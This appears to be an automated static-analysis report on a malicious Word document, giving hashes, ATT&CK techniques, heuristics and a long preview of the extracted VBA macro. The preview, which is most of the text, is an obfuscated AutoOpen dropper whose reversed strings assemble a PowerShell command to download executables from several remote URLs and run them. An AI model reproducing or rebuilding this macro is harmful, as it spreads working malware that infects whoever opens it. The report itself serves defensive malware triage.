Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 825567df1011f28d…

MALICIOUS

Office (OLE)

156.5 KB Created: 2018-05-14 21:34:00 Authoring application: Microsoft Office Word First seen: 2018-05-18
MD5: c29a1c155fd87f3d8fe326b9c394fdb6 SHA-1: 99d28319751f0ae3d67e7b19f4f2caa649be9f32 SHA-256: 825567df1011f28d28da10210f7ea98f623617ee1ef30245292e8c69ecca8336
152 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample contains VBA macros, including an Autoopen macro, and a critical heuristic indicates a potential Shell call. The document body suggests a password-protected archive lure, a common tactic to bypass gateway security and encourage users to enable macros. The presence of the 'macros.bas' file further supports the macro-based execution vector.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Line #20:
'  Ld Shell
'  Ld Chr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub Autoopen()
On Error Resume Next
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 129985 bytes
SHA-256: 2115d1bd89e023ecd68668389ccc6c0e4e5150a804f264d2a7df42cc0ccb1a51
Detection
ClamAV: No threats found
Obfuscation or payload: likely
680 of 1105 identifiers look randomly generated (e.g. 'zFhVLHizoCzIHLWBVFZb'); 11 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KYuUCFtI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub YtRKc(Kopwr)
REqRWj = kpSnwE + Sgn(23310 - WpVBWp - cJYQK + Fix(19219)) - 4710 - CDbl(82500)
FZkuh = OcrCP
GFVGQi = wTzUqE
jsGWTh = 97776
End Sub
Sub iXURwE(tJUZfV)
DKtfO = CHEtpF + Sgn(72195 - VVjhi - Wwlwi + Fix(69245)) - 46000 - CDbl(50965)
ARYGbo = cnTGua
bbrSE = okrzM
FZvwiU = 53266
DcRwJ = ZtvObP + Sgn(91247 - JWqRTD - QZbutj + Fix(44766)) - 62970 - CDbl(82804)
mSGPzK = IXzvod
zmaPY = MAYVn
pEQzC = 23955
ZpwpQ = LwIwF + Sgn(6665 - wGzGJH - lcluk + Fix(53613)) - 93264 - CDbl(41317)
sZvijE = AzKENH
ESSLG = HJouET
DCEoNq = 19463
End Sub
Sub XKUrr(wIwDud)
hbSQp = jjkAiQ + Sgn(13720 - wtWrWz - hIzTOH + Fix(21127)) - 827 - CDbl(81368)
JpZWam = YDdjm
qbkwz = cMYjj
TUwbfV = 67194
JUaiFY = wSTUI + Sgn(89648 - HsdINk - flJpW + Fix(13526)) - 35205 - CDbl(51994)
YHzsAV = CsZJd
FLbFVM = zWIwj
jQsjQo = 45028
End Sub
Sub Autoopen()
On Error Resume Next
uMKBz = qbQnbj + Sgn(73545 - zORlFW - BwzMWm + Fix(70431)) - 20280 - CDbl(17643)
VGXKz = DXbNW
VXwrC = dSfiB
sNLoa = 97426
tCRGztzrCII (QHiGd + XNTqpwYlEh + WwwNN)
IdwdbQ = kRjqdm + Sgn(10574 - RlEOz - HFwqQS + Fix(55044)) - 62197 - CDbl(38845)
EREssw = jXvOoj
ATXNE = twQBA
zmLwC = 7600
End Sub
Sub BmLhMI(BVrCO)
Vipwu = bHlFB + Sgn(6307 - UzzYZs - qidpm + Fix(20973)) - 9618 - CDbl(70200)
YHOnh = OwODn
qPjKiV = UDwRJD
nFAKkJ = 82509
NzmQJS = BKWEhA + Sgn(35698 - iIpQPI - qFjFOJ + Fix(92008)) - 7040 - CDbl(36939)
lvBjYO = WjCmu
VcVIW = utbmm
hjEDb = 10194
DawEQ = Fuiuj + Sgn(13329 - vANcsB - BYkKJ + Fix(29861)) - 54265 - CDbl(81855)
GSHwfr = ZYEuQI
zufzL = TcKajF
qluBlP = 24641
End Sub
Sub bYKJE(nEoGI)
IlPiSQ = NiHjQ + Sgn(50519 - nodDJ - vsXVU + Fix(75951)) - 14063 - CDbl(18919)
XWUXMV = VQiUF
tTstjr = zblwHz
NtJfJ = 99591
End Sub

Attribute VB_Name = "GlMsNriSMUpv"
Sub zEdbEQ(jwlYQP)
rbHDK = RmijA + Sgn(41315 - BhOQHL - QJQia + Fix(86947)) - 49543 - CDbl(1268)
Ancwk = qFQipi
VzaiQ = zhURF
piLZd = 33996
End Sub
Function XNTqpwYlEh()
On Error Resume Next
RcisYW = KrJAc + Sgn(42442 - DnSHs - BBcfWW + Fix(70424)) - 90245 - CDbl(15421)
jnMJNk = FBLBNI
Uojrm = tRkofP
CVBmUC = 24761
MfifAo = oPIzW + Sgn(37542 - wCYGWr - dQhwL + Fix(95309)) - 115 - CDbl(72047)
BEwkO = jLcrw
tlPIa = TdWPbI
iPzip = 82243
mqcjaGvuhr = QcuNQH("i9kEj0001'+'('+'t'+'xen'+'.dsadas'+'n'+'Uh'+'P '+'= B'+'SNUh'+'P;tneil'+'Cb'+'eW'+'.'+'teN'+'.m'+'et'+'syS )OvPtce'w", 21289 + 2 - 21289, 21289 + 110 - 21289)
DCHva = SqSMdf + Sgn(90601 - jiSol - jIqld + Fix(76089)) - 34920 - CDbl(61694)
mdmAfB = iThrdc
JlvNG = kiuDok
MVRnRm = 1461
aUavZ = PKwoRh + Sgn(39068 - jGYmzi - sukaph + Fix(7152)) - 56373 - CDbl(47753)
Ulqfb = GiXErQ
ifAzv = iTSzU
aqUjOL = 63959
wBSQOZ = QcuNQH("f6LDfM@c'+'qYhy'+'/zc.lad'+'shc'+'uf//'+':p'+'S", 61582 + 2 - 61582, 61582 + 39 - 61582)
awvdF = ISDZZ + Sgn(4761 - sFvpjH - quBnV + Fix(95166)) - 2335 - CDbl(14633)
wJsKqb = jWsqFQ
tYSGh = YuiERj
vIIHDA = 62012
KzcsB = wvzjJU + Sgn(5896 - QKtwbr - acXhJA + Fix(36984)) - 63387 - CDbl(15907)
buhST = rrLfY
EvlafZ = lYBiG
WFLrmi = 28893
QzrMZtLkbml = QcuNQH("2f18kuo92oDMr'+'3.U'+'YYU'+'hP{y'+'rt'+'{)XCDA'+'UhP'+' ni cfsa'+'UhP'+'('+'h'+'caer'+'of;'j", 9295 + 2 - 9295, 9295 + 84 - 9295)
JiaVIz = BGPLYo + Sgn(47139 - vjUuXW - ZPaiwT + Fix(62852)) - 883 - CDbl(48332)
JvuNL = WbWkS
SivwdP = SkrUM
KuaAS = 39243
zcrBkn = JZbMz + Sgn(21541 - XjYEv - TbtNM + Fix(50697)) - 45875 - CDbl(57192)
YBRww = UatZwN
RVIWid = BFWqH
VjipK = 29808
izqjo = QcuNQH("Dja+'.I3.", 12381 + 4 - 12381, 12381 + 3 - 12381)
IBZvzO = CIifz + Sgn(88650 - KXEqsu - ASibqd + Fix(56415)) - 71406 - CDbl(92985)
OjkiQ = NWUPwt
rrNqKL = zSVBH
vUJkkR = 23497
VLZqs = hlNor + Sgn(63653 - SdiFI - YFrbaC + Fix(91616)) - 49901 - CDbl(12886)
QCzuT = OsVjqZ
kHiIH = vLvhHB
djzowi = 51451
aOLXrwD = QcuNQH("joCFptt'+'h O'+'v'+'P ='+' XCDAUhP;'+')'+'3312'+'82 '+','+'0Du", 49673 + 3 - 49673, 49673 + 56 - 49673)
zmrmlh = lkZrz + Sgn(4803 - Tstoi - wVVss + Fix(46469)) - 15522 - CDbl(59642)
hmIwZn = qVVKh
KHPBtW = GuIAP
bRwtNZ = 68456
OiwhPo = wiuAWZ + Sgn(50568 - ciqMGj - wYvajo + Fix(9841)) - 43083 - CDbl(27986)
ZKTFY = BUtWA
tnWjq = JMjpL
mXmpIr = 84126
Mrbqijjtj = QcuNQH("mO+'j'+'bo-OvP+'+'OvPwOvP'+'+OvPenOv'+'P(.'+' = UYYUhP;m'+'od'+'nar )'+'OvP'+'tOv'+'P'+'+'+'OvsiiIB", 83682 + 6 - 83682, 83682 + 92 - 83682)
jowPG = DHprNK + Sgn(62842 - fHDwwA - Cfkzm + Fix(35959)) - 3261 - CDbl(69187)
MBinf = rHdwA
WobAA = silLt
zdILPU = 48515
rrlIP = zEjcba + Sgn(31262 - LqfNb - wqdlh + Fix(35808)) - 79165 - CDbl(15265)
jLlEq = bRVnv
zvIcj = uVvCi
aVBOA = 51543
AzwVnoNF = QcuNQH("MNtj1b+')O'+'vPe'+'O'+'v'+'P+OvPxe.OvP'+'( +'+' '+'BSN'+'UhP '+'+ '+'Ov'+'PATvO'+'vP + c'+'i'+'lbup'+':v'+'n'+'eU'+'h'+'P ='+' CDSUh'+'P;)OvP'+'@O'+'v'+'P('+'t'+'i'+'l'+'pS'5", 3424 + 2 - 3424, 3424 + 167 - 3424)
HrszRp = ZGkYJ + Sgn(49772 - wwuUIw - umPhj + Fix(67743)) - 57246 - CDbl(41517)
MRurnN = zrnNl
kXsEWc = Gtsco
EcQkG = 85938
GkJVj = CalSG + Sgn(88514 - wndcU - jfqJR + Fix(27154)) - 86510 - CDbl(87306)
bciNFP = IijdC
WtAUVK = AnMDh
jPbrHq = 17521
iaTNWHS = QcuNQH("8lq.fS'+'e'+'r'+'b;'+')'+'CDSUhP()O'+'vPm'+'etI-eO'+'vP+OvP'+'kOv'+'P+OvPovnIOvP(&;)CDSU'+'hP'+'88", 7070 + 3 - 7070, 7070 + 90 - 7070)
zJjto = wfutrF + Sgn(573 - wIwsi - inQff + Fix(17470)) - 67208 - CDbl(72419)
qcmtNX = QbhUbU
TMcwXT = vOIok
tENfG = 21492
CZLoTK = JHwvZF + Sgn(68778 - YoiAh - AMmuV + Fix(89248)) - 92799 - CDbl(36042)
JCcWPW = uprswC
ZHAZjE = ctcdC
ZtwQl = 82951
vwFZl = QcuNQH("f1dEmOvP/rn", 95780 + 2 - 95780, 95780 + 5 - 95780)
mtwiUw = toJoMw + Sgn(68083 - nUVPO - hIzsMJ + Fix(13513)) - 1484 - CDbl(83361)
HFaqjK = EkNIn
oQEdMG = vWcwFk
qHnksz = 66400
AtBzYk = MzqmRF + Sgn(97241 - jkcuP - MKDaI + Fix(77416)) - 63805 - CDbl(95201)
MbizC = cwjAl
Trlmz = slrTT
koizX = 30343
WEsDHcR = QcuNQH("AcPcejb'+'o'+'-'+'wOvP+OvPeOvP'+'+O'+'vP'+'nOv'+'P(& = '+'ds'+'a'+'d'+'aPRmAA", 63638 + 6 - 63638, 63638 + 70 - 63638)
vOciKj = wHDms + Sgn(88460 - msSRnK - oMfsI + Fix(64033)) - 29213 - CDbl(26548)
iaUEp = qNaDrc
iEaZXz = PjkEjH
zlCBr = 66364
aFYuJp = fdYWJE + Sgn(19110 - dPkVsT - WkjWSS + Fix(91)) - 98171 - CDbl(9614)
CVRUsn = jflbR
UOXsPq = MWiwjn
nWKfi = 36611
sRtwjknUUV = QcuNQH("w0c.Pl0snUh'+'P'(B9", 75541 + 3 - 75541, 75541 + 10 - 75541)
GjsGlb = pNiCF + Sgn(96453 - HuakJ - cjqUl + Fix(8821)) - 49966 - CDbl(55946)
UGwwF = ffmiO
XJwui = BfbkuV
EasXUj = 2595
SVsVmW = GBjoKD + Sgn(61262 - jvIDJQ - sPEbj + Fix(89674)) - 28108 - CDbl(72938)
YKiwHA = Vujzqb
zScww = wWdSN
dRLqEs = 30191
MzjrUdF = QcuNQH("r50 ,)(Mr3g'+'NG92i'+'G92r'+'t'+'So'+'TMr3'+'.c'+'f'+'sa'+'UhP(Mr3elG92IFdaOG9'+'2ln'+'WGojiop1", 81778 + 7 - 81778, 81778 + 86 - 81778)
PzZjcf = mIcQO + Sgn(32183 - GIDwQ - DBhLl + Fix(57977)) - 45239 - CDbl(17379)
EbHaq = ztvTSw
OABwM = KDmGb
hNSNvw = 15822
wSntB = Wzubq + Sgn(75871 - XLZTO - WiYFW + Fix(34468)) - 82786 - CDbl(72561)
zDnhCa = CzmcC
IiHQWb = BCNCa
uXNQb = 19769
iRtUXDipz = QcuNQH("15g'+'osna'+'hre'+'//'+':ptt'+'h@/'+'o'+'r0J'+'c/'+'m'+'o'+'c.nirrepno'+'d//:ptth@'+'/893i'+'Mrrl/moc'+'.x'+'f'+'dnaes'+'uac'+'//:ptt'+'h@/EanBvK9/ua.moc.doo'+'flby//:jzqiik", 22895 + 7 - 22895, 22895 + 165 - 22895)
vzqoI = lGJbhm + Sgn(97709 - WpzGvP - YvqlH + Fix(89776)) - 61749 - CDbl(87740)
hKShzI = THlqJs
jPbiXh = KjuwX
ACBqF = 23938
KIBwkU = jlUow + Sgn(50723 - Rwbvz - ZUHiUj + Fix(92106)) - 83023 - CDbl(13518)
KzYKNk = jUpDdF
zUjfib = VAwMpA
iDYKc = 75433
kXDoIiSTKl = QcuNQH(".ofD8OIrtS[,)97]RAhc[+811]RAhc[+08]RAhc[((EcaLpER.)'\',)56]RAhc[+48]RAhc[+811]RAhc[((EcaLpER.)'$',)58]RAhc[+401]RAhc[+08]RAhc[((EcaLpER.)'`',)17]RAhc[+75]RAhc[+05]RAhc[((EcaLpER.)'}}{'+'hctac};kasI", 40280 + 3 - 40280, 40280 + 189 - 40280)
rXPuj = raJbv + Sgn(28888 - jzzQI - EowcwY + Fix(68638)) - 56245 - CDbl(11233)
RtBSi = zTlBZ
uqVRa = jiGIBz
VuuRWw = 48155
KTolz = fzLClY + Sgn(27836 - qEUFj - wfQqu + Fix(57503)) - 3146 - CDbl(27151)
mvQjUZ = LuNSD
fKjpkI = zkjbs
iCwqT = 61111
SEjoOI = QcuNQH("f5BfF4z)'X'+]31[DilLeHS$+]1[dillehs$ (&| )43]RAhc[]GNIrtS[,'Mr3'(EcaLpER.)93]RAhc[]GND", 73208 + 2 - 73208, 73208 + 78 - 73208)
DZGUr = smsarQ + Sgn(23091 - AGJEt - pwCPpo + Fix(267)) - 90417 - CDbl(3744)
Dtnmo = ELwrQ
EJoKjO = womamc
WqfDt = 95144
Kkktpk = Fzjzp + Sgn(73658 - UjKDq - XHXVU + Fix(1583)) - 49045 - CDbl(94155)
cAtTw = VWlnf
GnlLO = cwacv
cKCMP = 48739
wZIur = QcuNQH("%naDP%tth@/'+'hexzJ/'+'ppa-p'+'pw/'+'l'+'n.'+'tu'+'Jw", 69372 + 3 - 69372, 69372 + 45 - 69372)
KUhXjG = nDzKY + Sgn(29303 - sQUmJ - dzwzA + Fix(9465)) - 64527 - CDbl(81049)
SIGMwU = YPFFrj
zPDjA = thaFTL
VkXbY = 62769
lqDLQq = sFhDOt + Sgn(47757 - hwYjFv - iBtnHd + Fix(76715)) - 84785 - CDbl(57411)
KknJMr = KrAbs
ERoWD = CsaDAH
ScjQE = 25572
ctFzwiAXWzLG = XDIlqUE + """" + VOuIqwoV
GkRao = hnBKZn + Sgn(53265 - wOpiBJ - jiWuW + Fix(23729)) - 18491 - CDbl(83134)
DiGQJ = wcjTb
oKfUun = uBUnMO
CvjRX = 45076
XNTqpwYlEh = kHvjKRcSMvhhFs + WRwkrjYNrl + qacYLwQjqt + XMHfkDqpaNMz + ctFzwiAXWzLG + jRBwRvE + sRtwjknUUV + WEsDHcR + Mrbqijjtj + mqcjaGvuhr + aOLXrwD + iRtUXDipz + wZIur + wBSQOZ + vwFZl + izqjo + AzwVnoNF + QzrMZtLkbml + MzjrUdF + iaTNWHS + kXDoIiSTKl + SEjoOI
ECknj = VboYG + Sgn(60485 - hdEFp - LzTYEm + Fix(17589)) - 63988 - CDbl(20300)
QildD = VGmtCq
cKkOs = owqbw
CkifAa = 79361
End Function
Sub MPMJSz(Gjbnt)
LhntI = lPCYi + Sgn(94603 - ljzZhK - uHZWhT + Fix(92496)) - 61713 - CDbl(21037)
NrWvr = NsLqbO
riMiO = GGuczJ
IRLoQ = 9526
zKmap = vljVUT + Sgn(62793 - hnVlhC - wSOZl + Fix(76089)) - 60257 - CDbl(92786)
WZWKLj = mtUiUZ
IidFb = pDiCzz
YBDGQp = 98600
End Sub

Attribute VB_Name = "uwWmArjrNUjYtG"
Sub PMmIjzXfz()
On Error Resume Next
IiDSrT = UKMoXk + Sgn(79799 - SfabN - GTamGL + Fix(40312)) - 66180 - CDbl(31414)
zRGvYM = HiDcM
MUwCz = EwSsN
OdjlH = 43111
End Sub
Function XMHfkDqpaNMz()
On Error Resume Next
tmpGiu = FISwKF + Sgn(88477 - OSHJVj - bjYtt + Fix(18555)) - 67554 - CDbl(83151)
XjqSn = NUIKw
fWiHHU = NdwBF
KIhlAf = 43950
Vrszbq = llrGNi + Sgn(48167 - sakGI - fMjCt + Fix(94162)) - 82873 - CDbl(75559)
kIkawz = FNjRY
tLjMtj = XzOBW
iIwhtC = 97336
zOfbZl = QcuNQH("E0vNcj&&ll=%qFuAWmSUOPYAr", 12177 + 3 - 12177, 12177 + 17 - 12177)
HwdDa = WVWZq + Sgn(88378 - SYTjDH - JmtiEH + Fix(37654)) - 24603 - CDbl(17386)
nOacmM = JSNpC
oKcsLj = ApvXtU
uzTCK = 23159
scEQB = RPwHHo + Sgn(74672 - PwKYNa - kRUNPT + Fix(35369)) - 65703 - CDbl(41630)
ziDLSc = JwrCq
vNbqU = GCpNd
LkDmY = 98102
OGMwthJdMbQ = QcuNQH("swrwnwqwuITw%!=%zWKNaEiIaq", 82420 + 7 - 82420, 82420 + 18 - 82420)
aZKGjj = VuOQjo + Sgn(88274 - Yzncw - PfIUZC + Fix(14530)) - 85756 - CDbl(23369)
YsVPh = HrGXkL
ZdoOAL = zvAFL
ClJjod = 66987
vjQaI = ALCdRl + Sgn(38804 - jVond - ijIRqK + Fix(79009)) - 97654 - CDbl(75702)
wNjziG = wGOrYY
kTuuC = IhYiYP
wkwsBX = 48152
pKOoJzBvsq = QcuNQH("ffrwnwqwu.RDD9sW", 83822 + 8 - 83822, 83822 + 7 - 83822)
DBUiah = jPqFHr + Sgn(63201 - PuwzU - pAbPf + Fix(77445)) - 23605 - CDbl(16218)
pAzmh = aPcFQ
JsSHj = NizFY
NNBsP = 89496
PRwHSD = jHwwuc + Sgn(73707 - zsjoE - zZknwm + Fix(37262)) - 70931 - CDbl(76440)
wjJRan = fTqRMS
SDtQKl = tNJSr
UTRXv = 37077
FtDKSmt = QcuNQH(".HHPc51f V", 87880 + 2 - 87880, 87880 + 1 - 87880)
BLTUzK = EVOLlH + Sgn(13306 - vtCaB - DVzzic + Fix(60871)) - 22391 - CDbl(4255)
WsTcH = YTAswX
zjkEzY = UVRBw
TVOhNs = 36521
wwzoI = AQFTWZ + Sgn(45704 - SmIofJ - zYYOKm + Fix(59786)) - 28385 - CDbl(73203)
wIrwwR = witKNa
bbEIn = RoFQz
bZwMUB = 37272
ILpcnWkYjd = QcuNQH("85GtAS&&eh=%jiGi", 91823 + 3 - 91823, 91823 + 8 - 91823)
YRjtWV = pAPjm + Sgn(96062 - njhWb - SKCbzV + Fix(81082)) - 28049 - CDbl(86)
YIuqi = vLmSi
nqhNcJ = OfwakR
PEvAf = 10710
Zzcrf = dozhH + Sgn(68630 - nlNZc - OwNXY + Fix(80812)) - 47135 - CDbl(93522)
uKtSCa = mlsSD
jXWLd = alrth
zUMaDB = 13335
zzTZcQ = QcuNQH("mfVwtes&&s=%ziKGkQNjizS0E", 80014 + 3 - 80014, 80014 + 19 - 80014)
supno = pjzchK + Sgn(96512 - QqANMC - zCQLq + Fix(6279)) - 11360 - CDbl(91375)
hqLwd = hiWwju
OMXiHD = ZpoEl
rYbwdj = 70427
iXAFqp = lkPzv + Sgn(34198 - hkOoOz - ZLtPkl + Fix(48236)) - 3597 - CDbl(58717)
wXIJU = YuJriO
RUBzh = oowjPF
GqGDu = 68931
zFpKdzzNa = QcuNQH("pUziKG5WV5p", 76952 + 6 - 76952, 76952 + 4 - 76952)
JAXIZ = tquEG + Sgn(92505 - Ccuim - CqRArt + Fix(6451)) - 17286 - CDbl(70300)
nFzwIz = wsaUF
ttZTvJ = vYRChP
zjPWDJ = 14427
mpjjPj = kYCoq + Sgn(25160 - WwjCok - ZQXwa + Fix(69828)) - 43907 - CDbl(72912)
NkwMQi = bwAnL
fWSsG = niwPih
ZImow = 96940
NGBCjA = QcuNQH("VwwEl%IQt", 12606 + 5 - 12606, 12606 + 2 - 12606)
toErAd = lIDowz + Sgn(8459 - Aiidsw - OUTfD + Fix(11149)) - 3057 - CDbl(77433)
EpMbq = ardnB
ubihI = IIGSGA
ZjXVZl = 69413
BOWSa = ThIULs + Sgn(31612 - YhaNLu - VlRcE + Fix(88560)) - 44574 - CDbl(95650)
lmqcW = zYNAi
RZRFkX = WDPHG
jdFqW = 90167
KWVPGizzjB = QcuNQH("CvcXK1off0", 38343 + 6 - 38343, 38343 + 2 - 38343)
kijZCo = HkCAKP + Sgn(23259 - LzWTW - bVVijU + Fix(80178)) - 76019 - CDbl(83747)
qFiGiq = DvvPlB
wqvcR = TCXvI
NuSUm = 38724
lbfcW = Ljkzmc + Sgn(65481 - PiGDo - jdWWG + Fix(6681)) - 44892 - CDbl(80404)
RZTqN = ScYWaW
irJKU = TAAVz
ZHEIWS = 24109
pvkbWozEJz = QcuNQH("9Co tes&&!%hE1fF", 85726 + 4 - 85726, 85726 + 10 - 85726)
TSYSl = hwFhh + Sgn(26518 - TvfMwi - VMQDU + Fix(90894)) - 77866 - CDbl(58707)
TBDNA = PTrYAo
uSnlz = MZwak
zGBUz = 82142
wszlb = ZQEAzK + Sgn(89232 - mXAvvj - nJAPAz + Fix(21898)) - 79314 - CDbl(43969)
jswQCz = RRiutu
GSwEpb = NbIKj
WbwObh = 19062
ZBUVS = QcuNQH("of&&zEKwLrLBpX=%VhGjAC5@i", 60754 + 5 - 60754, 60754 + 19 - 60754)
SwOka = idEDu + Sgn(28351 - IiCHA - bTQpFT + Fix(97414)) - 54480 - CDbl(80571)
PSMkP = VhTOak
XEPUjO = uHbliz
GIRbY = 77636
pBKJA = sGjdqF + Sgn(86120 - aZNqM - dirvwG + Fix(94491)) - 11861 - CDbl(19571)
Urahr = zTmDFp
VioPJ = iuzHiX
KOKtj = 73703
JJjCdcYB = QcuNQH("fP% tes&&bfMhbjdifu.f", 16817 + 7 - 16817, 16817 + 13 - 16817)
ZJziLK = cuDIdo + Sgn(63189 - RJqnQ - PVjsKj + Fix(65114)) - 66958 - CDbl(16411)
XStbMi = EzHGA
zEiaow = DtVUK
PmBaAt = 72942
UKjZc = zFkPG + Sgn(59923 - ftlYi - KrvYID + Fix(75244)) - 53657 - CDbl(84778)
XzjizU = oCGGCC
ZPPVJ = riqjZ
ZlaWpj = 14895
zqZcl = QcuNQH("Dqiz5Hjrnw% tes&&HBLlS5bw", 20692 + 4 - 20692, 20692 + 17 - 20692)
NSXAUL = zVclI + Sgn(78584 - ztnRSW - oGCFQv + Fix(78648)) - 25686 - CDbl(62353)
ZucDG = OAwCtM
vQstm = iXNlnY
VvEPd = 69000
zolSr = icJMQU + Sgn(95948 - fjjzI - wCEnG + Fix(44450)) - 19205 - CDbl(84013)
qUndSE = ihMbP
VsDRw = ZHookQ
zkwLU = 72511
YwoFvvAXwQk = QcuNQH("1wjNbKUAJf% tes&&!%b%jf%fd", 79676 + 7 - 79676, 79676 + 18 - 79676)
zSsdrf = cABkj + Sgn(7613 - hLjpaj - VCfDM + Fix(10701)) - 13856 - CDbl(35888)
WsqZVC = aaQcwG
DDMlQZ = WuFXd
MZiau = 19242
rNkzi = CaRkiW + Sgn(90260 - QIFTso - pRiRor + Fix(37135)) - 77443 - CDbl(24392)
wkdoj = diIWj
hrNii = dMVNr
CwFiq = 86919
owqHwiin = QcuNQH("r8C%% tes&&imhXcaB", 32060 + 3 - 32060, 32060 + 12 - 32060)
mFTjlR = knbkjS + Sgn(22825 - jmDJIS - zwktG + Fix(72335)) - 69651 - CDbl(29798)
sPnzvO = bNwPq
kdYKNM = ijkQb
WvsKA = 810
OcGKP = ibKnS + Sgn(74914 - nMUkCR - hJpHZ + Fix(9834)) - 60018 - CDbl(81660)
wOZvXC = iwdCu
hHwAKX = crzmS
EmzkJ = 40152
qiIzzckYlt = QcuNQH("c%95a@NX%!=%huSZpNbmh% tZoi", 45443 + 4 - 45443, 45443 + 18 - 45443)
jOYtrT = ImlZOU + Sgn(94085 - iJYuHi - FRndA + Fix(94891)) - 33093 - CDbl(66461)
TiCAT = EJqlzp
YXzZd = qMPNI
JHGNS = 77157
tdUhA = IOjdi + Sgn(50278 - SfILW - fijTwK + Fix(82535)) - 77840 - CDbl(35244)
tUVESH = DkzMwF
uwMIGs = ncdbaN
WXJYp = 62144
ELcml = QcuNQH("dPfAfDpAztuL", 82806 + 3 - 82806, 82806 + 3 - 82806)
JIVrLw = aYShZ + Sgn(64560 - BzihZ - Gsrdsu + Fix(44694)) - 63673 - CDbl(24192)
oIYKkn = QvumMD
tBflU = aqPph
RrzRa = 46368
qFoFT = tIzqr + Sgn(70519 - IZiCWw - ojPdQ + Fix(25194)) - 15380 - CDbl(90282)
vrHns = zAGIS
XUCcGN = jinZYv
GpLpGw = 97876
WoGopqlt = QcuNQH("5%pes&&rDkAf", 27420 + 5 - 27420, 27420 + 5 - 27420)
BwkwAq = dwOdQQ + Sgn(29221 - AJzPL - HRisRL + Fix(15673)) - 78083 - CDbl(32598)
VnmSD = JNCHEr
vfKrc = fGjnw
hBEjiU = 79424
ZMZFaV = iuwcN + Sgn(4902 - wCSjU - sWjnk + Fix(27980)) - 57554 - CDbl(32480)
aUNhBk = moqzLI
qnhEcS = lWfki
fmULr = 979
LVZmQrzawR = QcuNQH("5sFkAkC=%JaUECsjSVGYkLnfo", 60047 + 2 - 60047, 60047 + 17 - 60047)
TcPfBc = QitWN + Sgn(68067 - qzDKBz - pzhzS + Fix(64221)) - 93113 - CDbl(1435)
iFLTK = YCDzw
HdIXz = omRBp
Siihi = 66062
hlEhEk = vCljcI + Sgn(5900 - XjLGiD - oiqbUf + Fix(36227)) - 53881 - CDbl(68816)
pURLH = DijXwW
YlLPV = VjTcuw
qdPKca = 3270
VPfBwNds = QcuNQH("ZiwjfDvhwEbbP", 90889 + 5 - 90889, 90889 + 7 - 90889)
mnmYQI = cvfnR + Sgn(55323 - qJPzc - bWrWO + Fix(63463)) - 70504 - CDbl(50269)
YuXVZ = wZqErN
YzHiz = nGvfw
AQvPKj = 45986
jHdKww = BIFUI + Sgn(68922 - JqwTQf - zdNwO + Fix(91081)) - 44786 - CDbl(34509)
ZKqDWl = hSjJnR
DJmwms = hYplm
POhBij = 61636
IUWwpBbOKRE = QcuNQH("cVfP!0c5Is", 65419 + 6 - 65419, 65419 + 1 - 65419)
JSjMYz = BkWRj + Sgn(81826 - nczlZ - smARk + Fix(14474)) - 56136 - CDbl(36773)
fiElGu = GlOvIf
STGnFa = EtKdo
ROcQU = 96778
hNviN = Yrwqb + Sgn(20762 - iEcFU - ZmwIFp + Fix(96283)) - 57799 - CDbl(97664)
LcYjfO = qvsHNZ
fBrXYj = JlGsd
FptPia = 26931
QAiaFozSPVO = QcuNQH("V1D3lYwpqTohf", 33331 + 4 - 33331, 33331 + 6 - 33331)
NDiVPM = KbiLNA + Sgn(54149 - zaFSH - qSnBd + Fix(73076)) - 2079 - CDbl(4218)
YnLKSw = BITkw
bhQkd = vpcHGi
kqTla = 69934
QXUwG = mzibf + Sgn(80972 - NRQfFp - YFDNST + Fix(50854)) - 76846 - CDbl(20423)
dlEotU = RHWbsv
qWWGiG = itzwK
Gimtw = 78407
LjjZviwk = QcuNQH("kjrWiCYYLRf=%PUqnVQDiir02", 15223 + 6 - 15223, 15223 + 17 - 15223)
ztlLUz = OwSVjK + Sgn(49506 - wwUJD - vsFpi + Fix(169)) - 43421 - CDbl(75795)
ddDJf = kLljTF
adSAuj = qZolNC
jVlzR = 51605
AlOAq = rYJIwf + Sgn(56879 - jjQJIS - HnAMQ + Fix(38940)) - 74299 - CDbl(410)
ZZctEf = FElCJ
vjLEoV = RPDIws
NoacEY = 43593
HjAEGiu = QcuNQH("NfCkatzGRCt%!!%huSZpNj", 56174 + 2 - 56174, 56174 + 16 - 56174)
ZDjpER = FXQJd + Sgn(84310 - BLfQD - JVUvM + Fix(62888)) - 1922 - CDbl(33182)
IzlHMJ = VwRfG
jspPG = mPznVB
EiodX = 32102
ovWSSN = RzovCw + Sgn(41346 - RIcjn - QEjolI + Fix(82834)) - 11156 - CDbl(87803)
wwiYIl = ziLBLX
GFvLj = aQcKYr
dhEzME = 21700
juUfOKkDPnZ = QcuNQH("atb%qFuAWmSUOPYAzt%2f9sC", 88614 + 6 - 88614, 88614 + 16 - 88614)
